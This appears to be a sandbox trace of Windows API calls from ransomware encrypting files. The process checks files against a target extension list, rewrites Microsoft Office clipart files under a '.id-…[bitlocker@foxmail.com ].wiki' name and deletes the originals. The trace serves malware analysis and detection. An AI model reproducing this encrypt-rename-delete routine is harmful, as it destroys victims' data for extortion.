lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.480] lstrlenW (lpString=".doc") returned 4 [0194.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString=".docx") returned 5 [0194.480] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.480] lstrlenW (lpString=".pdf") returned 4 [0194.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString=".xls") returned 4 [0194.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.481] lstrlenW (lpString=".xlsx") returned 5 [0194.481] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.481] lstrlenW (lpString=".ppt") returned 4 [0194.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.481] lstrlenW (lpString=".zip") returned 4 [0194.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.481] lstrlenW (lpString=".rar") returned 4 [0194.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.481] lstrlenW (lpString=".bz2") returned 4 [0194.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.481] lstrlenW (lpString=".7z") returned 3 [0194.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.481] lstrlenW (lpString=".dbf") returned 4 [0194.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.481] lstrlenW (lpString=".1cd") returned 4 [0194.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.481] lstrlenW (lpString=".jpg") returned 4 [0194.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.481] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.481] lstrlenW (lpString="J0106572.WMF") returned 12 [0194.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.482] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2148) returned 1 [0194.482] CloseHandle (hObject=0x1f0) returned 1 [0194.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0194.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.482] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.482] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.483] GetLastError () returned 0x0 [0194.483] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x864, lpOverlapped=0x0) returned 1 [0194.484] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x870, lpOverlapped=0x0) returned 1 [0194.485] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.485] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.485] SetEndOfFile (hFile=0x200) returned 1 [0194.486] CloseHandle (hObject=0x200) returned 1 [0194.486] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.486] SetEndOfFile (hFile=0x1f0) returned 1 [0194.486] CloseHandle (hObject=0x1f0) returned 1 [0194.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0194.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.487] lstrlenW (lpString=".doc") returned 4 [0194.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.487] lstrlenW (lpString=".docx") returned 5 [0194.487] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.487] lstrlenW (lpString=".pdf") returned 4 [0194.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.487] lstrlenW (lpString=".xls") returned 4 [0194.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.487] lstrlenW (lpString=".xlsx") returned 5 [0194.487] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.487] lstrlenW (lpString=".ppt") returned 4 [0194.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.487] lstrlenW (lpString=".zip") returned 4 [0194.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.487] lstrlenW (lpString=".rar") returned 4 [0194.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.487] lstrlenW (lpString=".bz2") returned 4 [0194.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.487] lstrlenW (lpString=".7z") returned 3 [0194.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.488] lstrlenW (lpString=".dbf") returned 4 [0194.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.488] lstrlenW (lpString=".1cd") returned 4 [0194.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.488] lstrlenW (lpString=".jpg") returned 4 [0194.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.488] lstrlenW (lpString=".doc") returned 4 [0194.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString=".docx") returned 5 [0194.488] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.488] lstrlenW (lpString=".pdf") returned 4 [0194.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString=".xls") returned 4 [0194.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.488] lstrlenW (lpString=".xlsx") returned 5 [0194.488] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.488] lstrlenW (lpString=".ppt") returned 4 [0194.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.488] lstrlenW (lpString=".zip") returned 4 [0194.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.488] lstrlenW (lpString=".rar") returned 4 [0194.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.488] lstrlenW (lpString=".bz2") returned 4 [0194.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.489] lstrlenW (lpString=".7z") returned 3 [0194.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.489] lstrlenW (lpString=".dbf") returned 4 [0194.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.489] lstrlenW (lpString=".1cd") returned 4 [0194.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0194.489] lstrlenW (lpString=".jpg") returned 4 [0194.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.489] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.489] lstrlenW (lpString="J0106816.WMF") returned 12 [0194.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.572] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3332) returned 1 [0194.572] CloseHandle (hObject=0x1f0) returned 1 [0194.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0194.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.572] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.572] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.589] GetLastError () returned 0x0 [0194.589] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xd04, lpOverlapped=0x0) returned 1 [0194.670] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0194.671] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.671] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.672] SetEndOfFile (hFile=0x214) returned 1 [0194.672] CloseHandle (hObject=0x214) returned 1 [0194.672] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.672] SetEndOfFile (hFile=0x1f0) returned 1 [0194.673] CloseHandle (hObject=0x1f0) returned 1 [0194.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0194.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.673] lstrlenW (lpString=".doc") returned 4 [0194.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.673] lstrlenW (lpString=".docx") returned 5 [0194.673] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.673] lstrlenW (lpString=".pdf") returned 4 [0194.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.673] lstrlenW (lpString=".xls") returned 4 [0194.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.674] lstrlenW (lpString=".xlsx") returned 5 [0194.674] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.674] lstrlenW (lpString=".ppt") returned 4 [0194.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.674] lstrlenW (lpString=".zip") returned 4 [0194.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.674] lstrlenW (lpString=".rar") returned 4 [0194.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString=".bz2") returned 4 [0194.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString=".7z") returned 3 [0194.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.674] lstrlenW (lpString=".dbf") returned 4 [0194.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.674] lstrlenW (lpString=".1cd") returned 4 [0194.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.674] lstrlenW (lpString=".jpg") returned 4 [0194.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.674] lstrlenW (lpString=".doc") returned 4 [0194.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.674] lstrlenW (lpString=".docx") returned 5 [0194.674] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.674] lstrlenW (lpString=".pdf") returned 4 [0194.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.675] lstrlenW (lpString=".xls") returned 4 [0194.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.675] lstrlenW (lpString=".xlsx") returned 5 [0194.675] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.675] lstrlenW (lpString=".ppt") returned 4 [0194.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.675] lstrlenW (lpString=".zip") returned 4 [0194.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.675] lstrlenW (lpString=".rar") returned 4 [0194.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.675] lstrlenW (lpString=".bz2") returned 4 [0194.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.675] lstrlenW (lpString=".7z") returned 3 [0194.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.675] lstrlenW (lpString=".dbf") returned 4 [0194.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.675] lstrlenW (lpString=".1cd") returned 4 [0194.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0194.675] lstrlenW (lpString=".jpg") returned 4 [0194.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.675] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.675] lstrlenW (lpString="J0107138.WMF") returned 12 [0194.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.676] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17200) returned 1 [0194.676] CloseHandle (hObject=0x1f0) returned 1 [0194.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0194.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.676] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.676] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.677] GetLastError () returned 0x0 [0194.677] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4330, lpOverlapped=0x0) returned 1 [0194.715] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4340, lpOverlapped=0x0) returned 1 [0194.720] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.720] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.720] SetEndOfFile (hFile=0x214) returned 1 [0194.720] CloseHandle (hObject=0x214) returned 1 [0194.720] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.720] SetEndOfFile (hFile=0x1f0) returned 1 [0194.721] CloseHandle (hObject=0x1f0) returned 1 [0194.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.721] lstrlenW (lpString=".doc") returned 4 [0194.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.721] lstrlenW (lpString=".docx") returned 5 [0194.721] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.721] lstrlenW (lpString=".pdf") returned 4 [0194.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.721] lstrlenW (lpString=".xls") returned 4 [0194.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.721] lstrlenW (lpString=".xlsx") returned 5 [0194.721] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.721] lstrlenW (lpString=".ppt") returned 4 [0194.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.722] lstrlenW (lpString=".zip") returned 4 [0194.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.722] lstrlenW (lpString=".rar") returned 4 [0194.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".bz2") returned 4 [0194.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".7z") returned 3 [0194.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.722] lstrlenW (lpString=".dbf") returned 4 [0194.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.722] lstrlenW (lpString=".1cd") returned 4 [0194.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.722] lstrlenW (lpString=".jpg") returned 4 [0194.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0194.722] lstrlenW (lpString=".doc") returned 4 [0194.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".docx") returned 5 [0194.722] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.722] lstrlenW (lpString=".pdf") returned 4 [0194.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".xls") returned 4 [0194.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.722] lstrlenW (lpString=".xlsx") returned 5 [0194.722] lstrcmpiW 